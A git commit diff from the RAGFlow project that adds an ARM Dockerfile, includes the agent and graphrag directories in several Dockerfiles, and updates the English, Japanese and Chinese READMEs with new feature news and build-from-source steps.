refine mindmap (#1817)

### What problem does this PR solve?

#1594
### Type of change

- [x] Refactoring

.gitignore

@@ -29,3 +29,10 @@ Cargo.lock
 docker/ragflow-logs/
 /flask_session
 /logs
+rag/res/deepdoc
+
+# Exclude sdk generated files
+sdk/python/ragflow.egg-info/
+sdk/python/build/
+sdk/python/dist/
+sdk/python/ragflow_sdk.egg-info/

Dockerfile

@@ -1,4 +1,4 @@
-FROM swr.cn-north-4.myhuaweicloud.com/infiniflow/ragflow-base:v1.0
+FROM infiniflow/ragflow-base:v2.0
 USER  root
 
 WORKDIR /ragflow
@@ -10,11 +10,14 @@ ADD ./api ./api
 ADD ./conf ./conf
 ADD ./deepdoc ./deepdoc
 ADD ./rag ./rag
+ADD ./agent ./agent
+ADD ./graphrag ./graphrag
 
 ENV PYTHONPATH=/ragflow/
 ENV HF_ENDPOINT=https://hf-mirror.com
 
 ADD docker/entrypoint.sh ./entrypoint.sh
+ADD docker/.env ./
 RUN chmod +x ./entrypoint.sh
 
 ENTRYPOINT ["./entrypoint.sh"]

Dockerfile.arm

@@ -0,0 +1,34 @@
+FROM python:3.11
+USER  root
+
+WORKDIR /ragflow
+
+COPY requirements_arm.txt /ragflow/requirements.txt
+RUN pip install -i https://mirrors.aliyun.com/pypi/simple/ --default-timeout=1000 -r requirements.txt &&\
+python -c "import nltk;nltk.download('punkt');nltk.download('wordnet')"
+
+RUN apt-get update && \
+    apt-get install -y curl gnupg && \
+    rm -rf /var/lib/apt/lists/*
+
+RUN curl -sL https://deb.nodesource.com/setup_20.x | bash - && \
+    apt-get install -y --fix-missing nodejs nginx ffmpeg libsm6 libxext6 libgl1
+
+ADD ./web ./web
+RUN cd ./web && npm i --force && npm run build
+
+ADD ./api ./api
+ADD ./conf ./conf
+ADD ./deepdoc ./deepdoc
+ADD ./rag ./rag
+ADD ./agent ./agent
+ADD ./graphrag ./graphrag
+
+ENV PYTHONPATH=/ragflow/
+ENV HF_ENDPOINT=https://hf-mirror.com
+
+ADD docker/entrypoint.sh ./entrypoint.sh
+ADD docker/.env ./
+RUN chmod +x ./entrypoint.sh
+
+ENTRYPOINT ["./entrypoint.sh"]

Dockerfile.cuda

@@ -1,11 +1,11 @@
-FROM swr.cn-north-4.myhuaweicloud.com/infiniflow/ragflow-base:v1.0
+FROM infiniflow/ragflow-base:v2.0
 USER  root
 
 WORKDIR /ragflow
 
 ## for cuda > 12.0
-RUN /root/miniconda3/envs/py11/bin/pip uninstall -y onnxruntime-gpu
-RUN /root/miniconda3/envs/py11/bin/pip install onnxruntime-gpu --extra-index-url https://aiinfra.pkgs.visualstudio.com/PublicPackages/_packaging/onnxruntime-cuda-12/pypi/simple/
+RUN pip uninstall -y onnxruntime-gpu
+RUN pip install onnxruntime-gpu --extra-index-url https://aiinfra.pkgs.visualstudio.com/PublicPackages/_packaging/onnxruntime-cuda-12/pypi/simple/
 
 
 ADD ./web ./web
@@ -15,6 +15,8 @@ ADD ./api ./api
 ADD ./conf ./conf
 ADD ./deepdoc ./deepdoc
 ADD ./rag ./rag
+ADD ./agent ./agent
+ADD ./graphrag ./graphrag
 
 ENV PYTHONPATH=/ragflow/
 ENV HF_ENDPOINT=https://hf-mirror.com

Dockerfile.scratch

@@ -30,6 +30,8 @@ ADD ./conf ./conf
 ADD ./deepdoc ./deepdoc
 ADD ./rag ./rag
 ADD ./requirements.txt ./requirements.txt
+ADD ./agent ./agent
+ADD ./graphrag ./graphrag
 
 RUN apt install openmpi-bin openmpi-common libopenmpi-dev
 ENV LD_LIBRARY_PATH /usr/lib/x86_64-linux-gnu/openmpi/lib:$LD_LIBRARY_PATH

Dockerfile.scratch.oc9

@@ -30,6 +30,8 @@ ADD ./conf ./conf
 ADD ./deepdoc ./deepdoc
 ADD ./rag ./rag
 ADD ./requirements.txt ./requirements.txt
+ADD ./agent ./agent
+ADD ./graphrag ./graphrag
 
 RUN dnf install -y openmpi openmpi-devel python3-openmpi
 ENV C_INCLUDE_PATH /usr/include/openmpi-x86_64:$C_INCLUDE_PATH

README.md

@@ -17,16 +17,70 @@
     <a href="https://demo.ragflow.io" target="_blank">
         <img alt="Static Badge" src="https://img.shields.io/badge/Online-Demo-4e6b99"></a>
     <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
-        <img src="https://img.shields.io/badge/docker_pull-ragflow:v0.5.0-brightgreen"
-            alt="docker pull infiniflow/ragflow:v0.5.0"></a>
-      <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
-    <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?style=flat-square&labelColor=d4eaf7&color=1570EF" alt="license">
+        <img src="https://img.shields.io/badge/docker_pull-ragflow:v0.9.0-brightgreen" alt="docker pull infiniflow/ragflow:v0.9.0"></a>
+    <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
+    <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="license">
   </a>
 </p>
 
+<h4 align="center">
+  <a href="https://ragflow.io/docs/dev/">Document</a> |
+  <a href="https://github.com/infiniflow/ragflow/issues/162">Roadmap</a> |
+  <a href="https://twitter.com/infiniflowai">Twitter</a> |
+  <a href="https://discord.gg/4XxujFgUN7">Discord</a> |
+  <a href="https://demo.ragflow.io">Demo</a>
+</h4>
+
+<details open>
+<summary></b>📕 Table of Contents</b></summary>
+  
+- 💡 [What is RAGFlow?](#-what-is-ragflow)
+- 🎮 [Demo](#-demo)
+- 📌 [Latest Updates](#-latest-updates)
+- 🌟 [Key Features](#-key-features)
+- 🔎 [System Architecture](#-system-architecture)
+- 🎬 [Get Started](#-get-started)
+- 🔧 [Configurations](#-configurations)
+- 🛠️ [Build from source](#-build-from-source)
+- 🛠️ [Launch service from source](#-launch-service-from-source)
+- 📚 [Documentation](#-documentation)
+- 📜 [Roadmap](#-roadmap)
+- 🏄 [Community](#-community)
+- 🙌 [Contributing](#-contributing)
+
+</details>
+
 ## 💡 What is RAGFlow?
 
-[RAGFlow](https://demo.ragflow.io) is an open-source RAG (Retrieval-Augmented Generation) engine based on deep document understanding. It offers a streamlined RAG workflow for businesses of any scale, combining LLM (Large Language Models) to provide truthful question-answering capabilities, backed by well-founded citations from various complex formatted data.
+[RAGFlow](https://ragflow.io/) is an open-source RAG (Retrieval-Augmented Generation) engine based on deep document understanding. It offers a streamlined RAG workflow for businesses of any scale, combining LLM (Large Language Models) to provide truthful question-answering capabilities, backed by well-founded citations from various complex formatted data.
+
+## 🎮 Demo
+
+Try our demo at [https://demo.ragflow.io](https://demo.ragflow.io).
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/7248/2f6baa3e-1092-4f11-866d-36f6a9d075e5" width="1200"/>
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/b083d173-dadc-4ea9-bdeb-180d7df514eb" width="1200"/>
+</div>
+
+
+## 🔥 Latest Updates
+
+- 2024-08-02 Supports GraphRAG inspired by [graphrag](https://github.com/microsoft/graphrag) , and mind map.
+  
+- 2024-07-23 Supports audio file parsing.
+
+- 2024-07-21 Supports more LLMs (LocalAI, OpenRouter, StepFun, and Nvidia).
+
+- 2024-07-18 Adds more components (Wikipedia, PubMed, Baidu, and Duckduckgo) to the graph.
+
+- 2024-07-08 Supports workflow based on [Graph](./graph/README.md).
+- 2024-06-27 Supports Markdown and Docx in the Q&A parsing method. 
+- 2024-06-27 Supports extracting images from Docx files. 
+- 2024-06-27 Supports extracting tables from Markdown files.
+- 2024-06-06 Supports [Self-RAG](https://huggingface.co/papers/2310.11511), which is enabled by default in dialog settings.
+- 2024-05-30 Integrates [BCE](https://github.com/netease-youdao/BCEmbedding) and [BGE](https://github.com/FlagOpen/FlagEmbedding) reranker models.
+- 2024-05-23 Supports [RAPTOR](https://arxiv.org/html/2401.18059v1) for better text retrieval.
+- 2024-05-15 Integrates OpenAI GPT-4o.
 
 ## 🌟 Key Features
 
@@ -56,17 +110,6 @@
 - Multiple recall paired with fused re-ranking.
 - Intuitive APIs for seamless integration with business.
 
-## 📌 Latest Features
-
-- 2024-05-08 Integrates LLM DeepSeek.
-- 2024-04-26 Adds file management.
-- 2024-04-19 Supports conversation API ([detail](./docs/conversation_api.md)).
-- 2024-04-16 Integrates an embedding model 'bce-embedding-base_v1' from [BCEmbedding](https://github.com/netease-youdao/BCEmbedding), and [FastEmbed](https://github.com/qdrant/fastembed), which is designed specifically for light and speedy embedding.
-- 2024-04-11 Supports [Xinference](./docs/xinference.md) for local LLM deployment.
-- 2024-04-10 Adds a new layout recognition model for analyzing Laws documentation.
-- 2024-04-08 Supports [Ollama](./docs/ollama.md) for local LLM deployment.
-- 2024-04-07 Supports Chinese UI.
-
 ## 🔎 System Architecture
 
 <div align="center" style="margin-top:20px;margin-bottom:20px;">
@@ -85,7 +128,7 @@
 
 ### 🚀 Start up the server
 
-1. Ensure `vm.max_map_count` >= 262144 ([more](./docs/max_map_count.md)):
+1. Ensure `vm.max_map_count` >= 262144:
 
    > To check the value of `vm.max_map_count`:
    >
@@ -114,12 +157,14 @@
 
 3. Build the pre-built Docker images and start up the server:
 
+   > Running the following commands automatically downloads the *dev* version RAGFlow Docker image. To download and run a specified Docker version, update `RAGFLOW_VERSION` in **docker/.env** to the intended version, for example `RAGFLOW_VERSION=v0.8.0`, before running the following commands.
+
    ```bash
    $ cd ragflow/docker
    $ chmod +x ./entrypoint.sh
    $ docker compose up -d
    ```
-   > Please note that running the above commands will automatically download the development version docker image of RAGFlow. If you want to download and run a specific version of docker image, please find the RAGFLOW_VERSION variable in the docker/.env file, change it to the corresponding version, for example, RAGFLOW_VERSION=v0.5.0, and run the above commands.
+   
 
    > The core image is about 9 GB in size and may take a while to load.
 
@@ -147,10 +192,10 @@
    > If you skip this confirmation step and directly log in to RAGFlow, your browser may prompt a `network anomaly` error because, at that moment, your RAGFlow may not be fully initialized.  
 
 5. In your web browser, enter the IP address of your server and log in to RAGFlow.
-   > With default settings, you only need to enter `http://IP_OF_YOUR_MACHINE` (**sans** port number) as the default HTTP serving port `80` can be omitted when using the default configurations.
+   > With the default settings, you only need to enter `http://IP_OF_YOUR_MACHINE` (**sans** port number) as the default HTTP serving port `80` can be omitted when using the default configurations.
 6. In [service_conf.yaml](./docker/service_conf.yaml), select the desired LLM factory in `user_default_llm` and update the `API_KEY` field with the corresponding API key.
 
-   > See [./docs/llm_api_key_setup.md](./docs/llm_api_key_setup.md) for more information.
+   > See [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup) for more information.
 
    _The show is now on!_
 
@@ -187,69 +232,106 @@ $ chmod +x ./entrypoint.sh
 $ docker compose up -d
 ```
 
-## 🛠️ Launch Service from Source
+## 🛠️ Launch service from source
 
-To launch the service from source, please follow these steps:
+To launch the service from source:
 
-1. Clone the repository
-```bash
-$ git clone https://github.com/infiniflow/ragflow.git
-$ cd ragflow/
-```
+1. Clone the repository: 
 
-2. Create a virtual environment (ensure Anaconda or Miniconda is installed)
-```bash
-$ conda create -n ragflow python=3.11.0
-$ conda activate ragflow
-$ pip install -r requirements.txt
-```
-If CUDA version is greater than 12.0, execute the following additional commands:
-```bash
-$ pip uninstall -y onnxruntime-gpu
-$ pip install onnxruntime-gpu --extra-index-url https://aiinfra.pkgs.visualstudio.com/PublicPackages/_packaging/onnxruntime-cuda-12/pypi/simple/
-```
+   ```bash
+   $ git clone https://github.com/infiniflow/ragflow.git
+   $ cd ragflow/
+   ```
 
-3. Copy the entry script and configure environment variables
-```bash
-$ cp docker/entrypoint.sh .
-$ vi entrypoint.sh
-```
-Use the following commands to obtain the Python path and the ragflow project path:
-```bash
-$ which python
-$ pwd
-```
+2. Create a virtual environment, ensuring that Anaconda or Miniconda is installed:
 
-Set the output of `which python` as the value for `PY` and the output of `pwd` as the value for `PYTHONPATH`.
+   ```bash
+   $ conda create -n ragflow python=3.11.0
+   $ conda activate ragflow
+   $ pip install -r requirements.txt
+   ```
+   
+   ```bash
+   # If your CUDA version is higher than 12.0, run the following additional commands:
+   $ pip uninstall -y onnxruntime-gpu
+   $ pip install onnxruntime-gpu --extra-index-url https://aiinfra.pkgs.visualstudio.com/PublicPackages/_packaging/onnxruntime-cuda-12/pypi/simple/
+   ```
 
-If `LD_LIBRARY_PATH` is already configured, it can be commented out.
+3. Copy the entry script and configure environment variables:
 
-```bash
-# Adjust configurations according to your actual situation; the two export commands are newly added.
-PY=${PY}
-export PYTHONPATH=${PYTHONPATH}
-# Optional: Add Hugging Face mirror
-export HF_ENDPOINT=https://hf-mirror.com
-```
+   ```bash
+   # Get the Python path:
+   $ which python
+   # Get the ragflow project path:
+   $ pwd
+   ```
+   
+   ```bash
+   $ cp docker/entrypoint.sh .
+   $ vi entrypoint.sh
+   ```
 
-4. Start the base services
-```bash
-$ cd docker
-$ docker compose -f docker-compose-base.yml up -d 
-```
+   ```bash
+   # Adjust configurations according to your actual situation (the following two export commands are newly added):
+   # - Assign the result of `which python` to `PY`.
+   # - Assign the result of `pwd` to `PYTHONPATH`.
+   # - Comment out `LD_LIBRARY_PATH`, if it is configured.
+   # - Optional: Add Hugging Face mirror.
+   PY=${PY}
+   export PYTHONPATH=${PYTHONPATH}
+   export HF_ENDPOINT=https://hf-mirror.com
+   ```
 
-5. Check the configuration files
-Ensure that the settings in **docker/.env** match those in **conf/service_conf.yaml**. The IP addresses and ports for related services in **service_conf.yaml** should be changed to the local machine IP and ports exposed by the container.
+4. Launch the third-party services (MinIO, Elasticsearch, Redis, and MySQL):
 
-6. Launch the service
-```bash
-$ chmod +x ./entrypoint.sh
-$ bash ./entrypoint.sh
-```
+   ```bash
+   $ cd docker
+   $ docker compose -f docker-compose-base.yml up -d 
+   ```
+
+5. Check the configuration files, ensuring that:
+
+   - The settings in **docker/.env** match those in **conf/service_conf.yaml**. 
+   - The IP addresses and ports for related services in **service_conf.yaml** match the local machine IP and ports exposed by the container.
+
+6. Launch the RAGFlow backend service:
+
+   ```bash
+   $ chmod +x ./entrypoint.sh
+   $ bash ./entrypoint.sh
+   ```
+
+7. Launch the frontend service:
+
+   ```bash
+   $ cd web
+   $ npm install --registry=https://registry.npmmirror.com --force
+   $ vim .umirc.ts
+   # Update proxy.target to http://127.0.0.1:9380
+   $ npm run dev 
+   ```
+
+8. Deploy the frontend service:
+
+   ```bash
+   $ cd web
+   $ npm install --registry=https://registry.npmmirror.com --force
+   $ umi build
+   $ mkdir -p /ragflow/web
+   $ cp -r dist /ragflow/web
+   $ apt install nginx -y
+   $ cp ../docker/nginx/proxy.conf /etc/nginx
+   $ cp ../docker/nginx/nginx.conf /etc/nginx
+   $ cp ../docker/nginx/ragflow.conf /etc/nginx/conf.d
+   $ systemctl start nginx
+   ```
 
 ## 📚 Documentation
 
-- [FAQ](./docs/faq.md)
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [User guide](https://ragflow.io/docs/dev/category/user-guides)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQ](https://ragflow.io/docs/dev/faq)
 
 ## 📜 Roadmap
 
@@ -259,7 +341,8 @@ See the [RAGFlow Roadmap 2024](https://github.com/infiniflow/ragflow/issues/162)
 
 - [Discord](https://discord.gg/4XxujFgUN7)
 - [Twitter](https://twitter.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
 
 ## 🙌 Contributing
 
-RAGFlow flourishes via open-source collaboration. In this spirit, we embrace diverse contributions from the community. If you would like to be a part, review our [Contribution Guidelines](https://github.com/infiniflow/ragflow/blob/main/docs/CONTRIBUTING.md) first.
+RAGFlow flourishes via open-source collaboration. In this spirit, we embrace diverse contributions from the community. If you would like to be a part, review our [Contribution Guidelines](./docs/references/CONTRIBUTING.md) first.

README_ja.md

@@ -17,16 +17,48 @@
     <a href="https://demo.ragflow.io" target="_blank">
         <img alt="Static Badge" src="https://img.shields.io/badge/Online-Demo-4e6b99"></a>
     <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
-        <img src="https://img.shields.io/badge/docker_pull-ragflow:v0.5.0-brightgreen"
-            alt="docker pull infiniflow/ragflow:v0.5.0"></a>
+        <img src="https://img.shields.io/badge/docker_pull-ragflow:v0.9.0-brightgreen"
+            alt="docker pull infiniflow/ragflow:v0.9.0"></a>
       <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
-    <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?style=flat-square&labelColor=d4eaf7&color=1570EF" alt="license">
+    <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="license">
   </a>
 </p>
 
+<h4 align="center">
+  <a href="https://ragflow.io/docs/dev/">Document</a> |
+  <a href="https://github.com/infiniflow/ragflow/issues/162">Roadmap</a> |
+  <a href="https://twitter.com/infiniflowai">Twitter</a> |
+  <a href="https://discord.gg/4XxujFgUN7">Discord</a> |
+  <a href="https://demo.ragflow.io">Demo</a>
+</h4>
+
 ## 💡 RAGFlow とは？
 
-[RAGFlow](https://demo.ragflow.io) は、深い文書理解に基づいたオープンソースの RAG (Retrieval-Augmented Generation) エンジンである。LLM（大規模言語モデル）を組み合わせることで、様々な複雑なフォーマットのデータから根拠のある引用に裏打ちされた、信頼できる質問応答機能を実現し、あらゆる規模のビジネスに適した RAG ワークフローを提供します。
+[RAGFlow](https://ragflow.io/) は、深い文書理解に基づいたオープンソースの RAG (Retrieval-Augmented Generation) エンジンである。LLM（大規模言語モデル）を組み合わせることで、様々な複雑なフォーマットのデータから根拠のある引用に裏打ちされた、信頼できる質問応答機能を実現し、あらゆる規模のビジネスに適した RAG ワークフローを提供します。
+
+## 🎮 Demo
+
+デモをお試しください：[https://demo.ragflow.io](https://demo.ragflow.io)。
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/7248/2f6baa3e-1092-4f11-866d-36f6a9d075e5" width="1200"/>
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/b083d173-dadc-4ea9-bdeb-180d7df514eb" width="1200"/>
+</div>
+
+
+## 🔥 最新情報
+
+- 2024-08-02 [graphrag](https://github.com/microsoft/graphrag) からインスピレーションを得た GraphRAG とマインド マップをサポートします。
+- 2024-07-23 音声ファイルの解析をサポートしました。
+- 2024-07-21 より多くの LLM サプライヤー (LocalAI/OpenRouter/StepFun/Nvidia) をサポートします。
+- 2024-07-18 グラフにコンポーネント(Wikipedia/PubMed/Baidu/Duckduckgo)を追加しました。
+- 2024-07-08 [Graph](./graph/README.md) ベースのワークフローをサポート
+- 2024-06-27 Q&A解析方式はMarkdownファイルとDocxファイルをサポートしています。
+- 2024-06-27 Docxファイルからの画像の抽出をサポートします。
+- 2024-06-27 Markdownファイルからテーブルを抽出することをサポートします。
+- 2024-06-06 会話設定でデフォルトでチェックされている [Self-RAG](https://huggingface.co/papers/2310.11511) をサポートします。
+- 2024-05-30 [BCE](https://github.com/netease-youdao/BCEmbedding) 、[BGE](https://github.com/FlagOpen/FlagEmbedding) reranker を統合。
+- 2024-05-23 より良いテキスト検索のために [RAPTOR](https://arxiv.org/html/2401.18059v1) をサポート。
+- 2024-05-15 OpenAI GPT-4oを統合しました。
 
 ## 🌟 主な特徴
 
@@ -56,18 +88,6 @@
 - 複数の想起と融合された再ランク付け。
 - 直感的な API によってビジネスとの統合がシームレスに。
 
-## 📌 最新の機能
-
-- 2024-05-08 
-- 2024-04-26 「ファイル管理」機能を追加しました。
-- 2024-04-19 会話 API をサポートします ([詳細](./docs/conversation_api.md))。
-- 2024-04-16 [BCEmbedding](https://github.com/netease-youdao/BCEmbedding) から埋め込みモデル「bce-embedding-base_v1」を追加します。
-- 2024-04-16 [FastEmbed](https://github.com/qdrant/fastembed) は、軽量かつ高速な埋め込み用に設計されています。
-- 2024-04-11 ローカル LLM デプロイメント用に [Xinference](./docs/xinference.md) をサポートします。
-- 2024-04-10 メソッド「Laws」に新しいレイアウト認識モデルを追加します。
-- 2024-04-08 [Ollama](./docs/ollama.md) を使用した大規模モデルのローカライズされたデプロイメントをサポートします。
-- 2024-04-07 中国語インターフェースをサポートします。
-
 ## 🔎 システム構成
 
 <div align="center" style="margin-top:20px;margin-bottom:20px;">
@@ -86,7 +106,7 @@
 
 ### 🚀 サーバーを起動
 
-1. `vm.max_map_count` >= 262144 であることを確認する【[もっと](./docs/max_map_count.md)】:
+1. `vm.max_map_count` >= 262144 であることを確認する:
 
    > `vm.max_map_count` の値をチェックするには:
    >
@@ -121,7 +141,7 @@
    $ docker compose up -d
    ```
 
-   > 上記のコマンドを実行すると、RAGFlowの開発版dockerイメージが自動的にダウンロードされます。 特定のバージョンのDockerイメージをダウンロードして実行したい場合は、docker/.envファイルのRAGFLOW_VERSION変数を見つけて、対応するバージョンに変更してください。 例えば、RAGFLOW_VERSION=v0.5.0として、上記のコマンドを実行してください。
+   > 上記のコマンドを実行すると、RAGFlowの開発版dockerイメージが自動的にダウンロードされます。 特定のバージョンのDockerイメージをダウンロードして実行したい場合は、docker/.envファイルのRAGFLOW_VERSION変数を見つけて、対応するバージョンに変更してください。 例えば、RAGFLOW_VERSION=v0.9.0として、上記のコマンドを実行してください。
 
    > コアイメージのサイズは約 9 GB で、ロードに時間がかかる場合があります。
 
@@ -152,7 +172,7 @@
    > デフォルトの設定を使用する場合、デフォルトの HTTP サービングポート `80` は省略できるので、与えられたシナリオでは、`http://IP_OF_YOUR_MACHINE`（ポート番号は省略）だけを入力すればよい。
 6. [service_conf.yaml](./docker/service_conf.yaml) で、`user_default_llm` で希望の LLM ファクトリを選択し、`API_KEY` フィールドを対応する API キーで更新する。
 
-   > 詳しくは [./docs/llm_api_key_setup.md](./docs/llm_api_key_setup.md) を参照してください。
+   > 詳しくは [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup) を参照してください。
 
    _これで初期設定完了！ショーの開幕です！_
 
@@ -183,7 +203,7 @@
 ```bash
 $ git clone https://github.com/infiniflow/ragflow.git
 $ cd ragflow/
-$ docker build -t infiniflow/ragflow:v0.5.0 .
+$ docker build -t infiniflow/ragflow:v0.8.0 .
 $ cd ragflow/docker
 $ chmod +x ./entrypoint.sh
 $ docker compose up -d
@@ -251,7 +271,10 @@ $ bash ./entrypoint.sh
 
 ## 📚 ドキュメンテーション
 
-- [FAQ](./docs/faq.md)
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [User guide](https://ragflow.io/docs/dev/category/user-guides)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQ](https://ragflow.io/docs/dev/faq)
 
 ## 📜 ロードマップ
 
@@ -261,7 +284,8 @@ $ bash ./entrypoint.sh
 
 - [Discord](https://discord.gg/4XxujFgUN7)
 - [Twitter](https://twitter.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
 
 ## 🙌 コントリビュート
 
-RAGFlow はオープンソースのコラボレーションによって発展してきました。この精神に基づき、私たちはコミュニティからの多様なコントリビュートを受け入れています。 参加を希望される方は、まず[コントリビューションガイド](https://github.com/infiniflow/ragflow/blob/main/docs/CONTRIBUTING.md)をご覧ください。
+RAGFlow はオープンソースのコラボレーションによって発展してきました。この精神に基づき、私たちはコミュニティからの多様なコントリビュートを受け入れています。 参加を希望される方は、まず[コントリビューションガイド](./docs/references/CONTRIBUTING.md)をご覧ください。

README_zh.md

@@ -17,16 +17,47 @@
     <a href="https://demo.ragflow.io" target="_blank">
         <img alt="Static Badge" src="https://img.shields.io/badge/Online-Demo-4e6b99"></a>
     <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
-        <img src="https://img.shields.io/badge/docker_pull-ragflow:v0.5.0-brightgreen"
-            alt="docker pull infiniflow/ragflow:v0.5.0"></a>
-      <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
-    <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?style=flat-square&labelColor=d4eaf7&color=1570EF" alt="license">
+        <img src="https://img.shields.io/badge/docker_pull-ragflow:v0.9.0-brightgreen" alt="docker pull infiniflow/ragflow:v0.9.0"></a>
+    <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
+    <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="license">
   </a>
 </p>
 
+<h4 align="center">
+  <a href="https://ragflow.io/docs/dev/">Document</a> |
+  <a href="https://github.com/infiniflow/ragflow/issues/162">Roadmap</a> |
+  <a href="https://twitter.com/infiniflowai">Twitter</a> |
+  <a href="https://discord.gg/4XxujFgUN7">Discord</a> |
+  <a href="https://demo.ragflow.io">Demo</a>
+</h4>
+
 ## 💡 RAGFlow 是什么？
 
-[RAGFlow](https://demo.ragflow.io) 是一款基于深度文档理解构建的开源 RAG（Retrieval-Augmented Generation）引擎。RAGFlow 可以为各种规模的企业及个人提供一套精简的 RAG 工作流程，结合大语言模型（LLM）针对用户各类不同的复杂格式数据提供可靠的问答以及有理有据的引用。
+[RAGFlow](https://ragflow.io/) 是一款基于深度文档理解构建的开源 RAG（Retrieval-Augmented Generation）引擎。RAGFlow 可以为各种规模的企业及个人提供一套精简的 RAG 工作流程，结合大语言模型（LLM）针对用户各类不同的复杂格式数据提供可靠的问答以及有理有据的引用。
+
+## 🎮 Demo 试用
+
+请登录网址 [https://demo.ragflow.io](https://demo.ragflow.io) 试用 demo。
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/7248/2f6baa3e-1092-4f11-866d-36f6a9d075e5" width="1200"/>
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/b083d173-dadc-4ea9-bdeb-180d7df514eb" width="1200"/>
+</div>
+
+
+## 🔥 近期更新
+
+- 2024-08-02 支持 GraphRAG 启发于 [graphrag](https://github.com/microsoft/graphrag) 和思维导图。
+- 2024-07-23 支持解析音频文件。
+- 2024-07-21 支持更多的大模型供应商(LocalAI/OpenRouter/StepFun/Nvidia)。
+- 2024-07-18 在Graph中支持算子：Wikipedia、PubMed、Baidu和Duckduckgo。
+- 2024-07-08 支持 Agentic RAG: 基于 [Graph](./graph/README.md) 的工作流。
+- 2024-06-27 Q&A 解析方式支持 Markdown 文件和 Docx 文件。 
+- 2024-06-27 支持提取出 Docx 文件中的图片。
+- 2024-06-27 支持提取出 Markdown 文件中的表格。
+- 2024-06-06 支持 [Self-RAG](https://huggingface.co/papers/2310.11511) ，在对话设置里面默认勾选。
+- 2024-05-30 集成 [BCE](https://github.com/netease-youdao/BCEmbedding) 和 [BGE](https://github.com/FlagOpen/FlagEmbedding) 重排序模型。
+- 2024-05-23 实现 [RAPTOR](https://arxiv.org/html/2401.18059v1) 提供更好的文本检索。
+- 2024-05-15 集成大模型 OpenAI GPT-4o。
 
 ## 🌟 主要功能
 
@@ -47,7 +78,7 @@
 
 ### 🍔 **兼容各类异构数据源**
 
-- 支持丰富的文件类型，包括 Word 文档、PPT、excel 表格、txt 文件、图片、PDF、影印件、复印件、结构化数据, 网页等。
+- 支持丰富的文件类型，包括 Word 文档、PPT、excel 表格、txt 文件、图片、PDF、影印件、复印件、结构化数据、网页等。
 
 ### 🛀 **全程无忧、自动化的 RAG 工作流**
 
@@ -56,17 +87,6 @@
 - 基于多路召回、融合重排序。
 - 提供易用的 API，可以轻松集成到各类企业系统。
 
-## 📌 新增功能
-
-- 2024-05-08 集成大模型 DeepSeek
-- 2024-04-26 增添了'文件管理'功能.
-- 2024-04-19 支持对话 API ([更多](./docs/conversation_api.md)).
-- 2024-04-16 集成嵌入模型 [BCEmbedding](https://github.com/netease-youdao/BCEmbedding) 和 专为轻型和高速嵌入而设计的 [FastEmbed](https://github.com/qdrant/fastembed) 。
-- 2024-04-11 支持用 [Xinference](./docs/xinference.md) 本地化部署大模型。
-- 2024-04-10 为‘Laws’版面分析增加了底层模型。
-- 2024-04-08 支持用 [Ollama](./docs/ollama.md) 本地化部署大模型。
-- 2024-04-07 支持中文界面。
-
 ## 🔎 系统架构
 
 <div align="center" style="margin-top:20px;margin-bottom:20px;">
@@ -85,7 +105,7 @@
 
 ### 🚀 启动服务器
 
-1. 确保 `vm.max_map_count` 不小于 262144 【[更多](./docs/max_map_count.md)】：
+1. 确保 `vm.max_map_count` 不小于 262144：
 
    > 如需确认 `vm.max_map_count` 的大小：
    >
@@ -120,7 +140,7 @@
    $ docker compose -f docker-compose-CN.yml up -d
    ```
 
-   > 请注意，运行上述命令会自动下载 RAGFlow 的开发版本 docker 镜像。如果你想下载并运行特定版本的 docker 镜像，请在 docker/.env 文件中找到 RAGFLOW_VERSION 变量，将其改为对应版本。例如 RAGFLOW_VERSION=v0.5.0，然后运行上述命令。
+   > 请注意，运行上述命令会自动下载 RAGFlow 的开发版本 docker 镜像。如果你想下载并运行特定版本的 docker 镜像，请在 docker/.env 文件中找到 RAGFLOW_VERSION 变量，将其改为对应版本。例如 RAGFLOW_VERSION=v0.9.0，然后运行上述命令。
 
    > 核心镜像文件大约 9 GB，可能需要一定时间拉取。请耐心等待。
 
@@ -151,7 +171,7 @@
    > 上面这个例子中，您只需输入 http://IP_OF_YOUR_MACHINE 即可：未改动过配置则无需输入端口（默认的 HTTP 服务端口 80）。
 6. 在 [service_conf.yaml](./docker/service_conf.yaml) 文件的 `user_default_llm` 栏配置 LLM factory，并在 `API_KEY` 栏填写和你选择的大模型相对应的 API key。
 
-   > 详见 [./docs/llm_api_key_setup.md](./docs/llm_api_key_setup.md)。
+   > 详见 [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup)。
 
    _好戏开始，接着奏乐接着舞！_
 
@@ -182,7 +202,7 @@
 ```bash
 $ git clone https://github.com/infiniflow/ragflow.git
 $ cd ragflow/
